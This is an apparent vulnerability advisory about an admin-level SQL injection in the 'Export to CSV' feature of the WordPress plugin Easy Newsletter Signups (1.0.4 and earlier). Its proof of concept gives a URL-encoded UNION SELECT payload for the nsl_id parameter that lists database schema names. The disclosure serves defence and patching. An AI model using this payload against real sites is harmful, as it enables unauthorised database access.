Easy Newsletter Signups <= 1.0.4 - Admin+ SQLi

2023-11-1300:00:00

Karolis Narvilas

wpscan.com

sql injection vulnerability

easy newsletter signups

export to csv

admin+ privilege

information schema

AI Score

7.8

Confidence

High

EPSS

0.001

Percentile

19.3%

JSON

Description The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

PoC

1. From the “Easy Newsletter Signups”, select an email address and then click “Export to CSV” 2. Intercept the request and add the following for the nsl_id parameter: %5B%5D=265%20UNION%20ALL%20SELECT%20NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cCONCAT(schema_name)%2cNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA--%20- 3. See the SQLi in the response.